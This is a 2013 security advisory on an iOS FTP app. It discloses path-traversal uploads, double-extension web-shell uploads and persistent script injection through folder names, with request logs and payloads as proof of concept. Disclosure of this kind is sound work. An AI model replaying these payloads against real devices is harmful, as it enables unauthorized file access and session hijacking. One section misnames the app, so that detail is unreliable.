356 lines
14 KiB
Text
Executable file
356 lines
14 KiB
Text
Executable file
Title:
|
|
======
|
|
FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2013-08-04
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=1041
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
1041
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
8.6
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
Simultaneous connections, and directory caching improves the work efficiency and save your time. Transmission Manager feature
|
|
is easier and more efficient transmission to be managed. Supports FTP / SFTP / FTPS (Explicit FTP over TLS, Implicit FTP over
|
|
TLS) connection. SFTP Private key authentication. name/password authentication is also supported.
|
|
|
|
( Copy of the Homepage: https://itunes.apple.com/us/app/ftp-onconnect-free-ftp-sftp/id594722236 )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered a command/path inject vulnerability in the FTP OnConnect v1.4.11 application (Apple iOS - iPad & iPhone).
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2013-08-04: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
Apple AppStore
|
|
Product: FTP OnConnect - Mobile Application 1.4.11
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
1.1
|
|
A file include web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
|
|
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.
|
|
|
|
The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the POST method request & header.
|
|
The attacker can inject local path or files to request context and compromise the mobile device or ftp service. The validation has a bad side
|
|
effect which impacts the risk to combine the attack with persistent injected script code.
|
|
|
|
Exploitation of the local file include web vulnerability requires no user interaction or privilege application user account with password.
|
|
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.
|
|
|
|
Vulnerable Application(s):
|
|
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
|
|
|
Vulnerable Module(s):
|
|
[+] Upload (Files) - (http://localhost:50000)
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing
|
|
|
|
|
|
|
|
1.2
|
|
An arbitrary file upload web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
|
|
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.
|
|
|
|
The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload
|
|
a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and
|
|
extension image.jpg.js.php.jpg . At the end the attacker deletes in the request after the upload the jpg to access unauthorized the malicious
|
|
file (web-shell) to compromise the web-server or mobile device.
|
|
|
|
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
|
|
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
|
|
|
Vulnerable Application(s):
|
|
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
|
|
|
Vulnerable Module(s):
|
|
[+] Upload (Files) - (http://localhost:50000)
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename (multiple extensions)
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing
|
|
|
|
|
|
|
|
1.3
|
|
A persistent input validation web vulnerability is detected in the Private Photos v1.0 application (Apple iOS - iPad & iPhone).
|
|
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).
|
|
|
|
The vulnerability is located in the add `New Folder` module of the web-server (http://localhost:50000) application when processing to
|
|
inject via POST method request manipulated `folder-names`. The folder name will be changed to the path value without secure filter,
|
|
encoding or parse mechanism. The injected script code will be executed in the path listing context and of course also in the index
|
|
file dir listing of the mobile ftp web application interface.
|
|
|
|
Exploitation of the persistent web vulnerability requires low user interaction and a local low privilege mobile application account
|
|
with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal
|
|
via persistent web attacks, persistent phishing or persistent module context manipulation.
|
|
|
|
Vulnerable Application(s):
|
|
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
|
|
|
Vulnerable Module(s):
|
|
[+] New Folder - (http://localhost:50000/?dir=)
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] foldername
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing
|
|
[+] Path/Folder Listing
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
1.1
|
|
The local file include web vulnerability can be exploited by remote attackers without privilege application user account and
|
|
also without user interaction. For demonstration or reproduce ...
|
|
|
|
|
|
PoC:
|
|
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=[LOCAL FILE/PATH INCLUDE VULNERABILITY!]"
|
|
class="file">../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
|
|
<td><form action="/delete.html?fileType=f&dir=%2F&name=../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
|
|
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value=" Delete " class="button"
|
|
type="submit"> <input name="rename" value=" Rename "
|
|
onclick="renameFunction('f','%2F','../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*')"
|
|
class="button" type="BUTTON"></form></td></tr>
|
|
|
|
|
|
--- Request Session Log POST ---
|
|
Status: 200[OK]
|
|
|
|
POST http://192.168.2.104:50000/upload.html
|
|
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
|
Content Size[0]
|
|
Mime Type[application/x-unknown-content-type]
|
|
|
|
|
|
Request Headers:
|
|
Host[192.168.2.104:50000]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[en-US,en;q=0.5]
|
|
Accept-Encoding[gzip, deflate]
|
|
DNT[1]
|
|
|
|
Referer[http://192.168.2.104:50000/index.html?dir=%2F]
|
|
Connection[keep-alive]
|
|
|
|
Post Data:
|
|
POST_DATA[-----------------------------7857615028463
|
|
Content-Disposition: form-data; name="newfile"; filename="../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
|
|
Content-Type: image/png
|
|
|
|
|
|
Note: After the inject the remote attacker can open up the index file dir listing to execute the unauthorized file/path request.
|
|
|
|
|
|
|
|
|
|
1.2
|
|
The arbitrary file upload web vulnerability can be exploited by remote attackers without privilege application user account and
|
|
also without user interaction. For demonstration or reproduce ...
|
|
|
|
|
|
PoC:
|
|
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
|
|
class="file">1234.png.txt.iso.php.js.html.gif</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
|
|
<td><form action="/delete.html?fileType=f&dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
|
|
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value="
|
|
Delete " class="button" type="submit"> <input name="rename" value=" Rename "
|
|
onclick="renameFunction('f','%2F','1234.png.txt.iso.php.js.html.gif')" class="button" type="BUTTON"></form></td></tr>
|
|
|
|
|
|
--- Request Session Log POST ---
|
|
Status: 200[OK]
|
|
POST http://192.168.2.104:50000/upload.html
|
|
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
|
Content Size[0]
|
|
Mime Type[application/x-unknown-content-type]
|
|
|
|
|
|
Request Headers:
|
|
Host[192.168.2.104:50000]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[en-US,en;q=0.5]
|
|
Accept-Encoding[gzip, deflate]
|
|
DNT[1]
|
|
|
|
Referer[http://192.168.2.104:50000/index.html?dir=%2F]
|
|
Connection[keep-alive]
|
|
|
|
Post Data:
|
|
POST_DATA[-----------------------------7857615028463
|
|
Content-Disposition: form-data; name="newfile"; filename="1234.png.txt.iso.php.js.html.gif"
|
|
Content-Type: image/gif
|
|
|
|
|
|
Note: After the inject the attacker can easily visit the main index website and open the ?dir= folder listing by attaching
|
|
the filename with the multi extension. After the first request the attacker opens the file the regular way without the parameter
|
|
?dir (path) to execute without download.
|
|
|
|
|
|
|
|
1.3
|
|
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and
|
|
with low user interaction. For demonstration or reproduce ...
|
|
|
|
|
|
PoC: New Folder - Index File Dir Listing
|
|
|
|
<table border="0" cellpadding="0" cellspacing="0">
|
|
<thead>
|
|
<tr><th>Name</th><th class="sizeStr">Size</th><th class="dateStr">Date</th><th class="actionStr">Action</th></tr>
|
|
</thead>
|
|
<tbody id="filelist"><tr><td><a href="http://192.168.2.104:50000/index.html?dir=%2F%3E%22%3Ciframe%20src%3Da%3E"
|
|
class="file"><>"<iframe src="FTP%20On%20Connect%20File%20Management-foldername_files/a.txt">
|
|
></a></td><td>0
|
|
byte</td><td>3. August 2013
|
|
14:43</td><td><form
|
|
action='/delete.html?fileType=d&dir=%2F%3E%22%3Ciframe%20src%3Da%3E'
|
|
method='post'><input name='_method' value='Delete'
|
|
type='hidden'/><input name="commit" type="submit" value=" Delete "
|
|
class='button'/> <input
|
|
name="rename" value=" Rename " type="BUTTON"
|
|
onclick="renameFunction('d','%2F%3E%22%3Ciframe%20src%3Da%3E','%3E%22%3Ciframe%20src%3Da%3E')"
|
|
class='button'/></form></td></tr></tbody></table></iframe></a></td></tr>
|
|
|
|
|
|
--- Request Session Log GET ---
|
|
|
|
Status: 200[OK]
|
|
|
|
GET http://192.168.2.104:50000/newFolder.html?folderName=%3E%22%3Ciframe%20src%3Da%20onload%3Dalert(%22HITHOMAS%22)%3C%3E
|
|
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
|
Content Size[0] Mime Type[application/x-unknown-content-type]
|
|
|
|
|
|
Request Headers:
|
|
|
|
Host[192.168.2.104:50000]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[en-US,en;q=0.5]
|
|
Accept-Encoding[gzip, deflate]
|
|
DNT[1]
|
|
|
|
Referer[http://192.168.2.104:50000/index.html?dir=%2FMAINPENTESTFOLDER]
|
|
Connection[keep-alive]
|
|
Response Headers:
|
|
Accept-Ranges[bytes]
|
|
Content-Length[0]
|
|
|
|
Location[http://192.168.2.104:50000/index.html?dir=/MAINPENTESTFOLDER/]
|
|
Date[Sat, 03 Aug 2013 12:52:13 GMT]
|
|
|
|
|
|
Note: After the inject the folder can only be deleted by the device itself because the functions are not anymore available.
|
|
Exploitation of the issue does also work via rename without the add function.
|
|
|
|
|
|
Solution:
|
|
=========
|
|
1.1 - 1.2
|
|
The vulnerabilities can be patched by a secure file name input restriction and filter when processing to upload. Parse and encode the filename input
|
|
of the file upload POST method request. Parse and encode the output file listing of the filename even if the input is restricted.
|
|
Disallow double extensions by setting a restriction to `.` on file uploads.
|
|
|
|
1.2
|
|
The persistent input validation can be parsed by a secure encode of the foldername input and output listing.
|
|
It is also required to setup a restriction to the foldername input to prevent the include of special chars or script codes.
|
|
|
|
|
|
Risk:
|
|
=====
|
|
1.1
|
|
The security risk of the local file include web vulnerability is estimated as high(+).
|
|
|
|
1.2
|
|
The security risk of the arbitrary file upload web vulnerability is estimated as critical.
|
|
|
|
1.3
|
|
The security risk of the persistent input validation web vulnerability is estimated as high(-).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
|
DOMAIN: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
|
|
|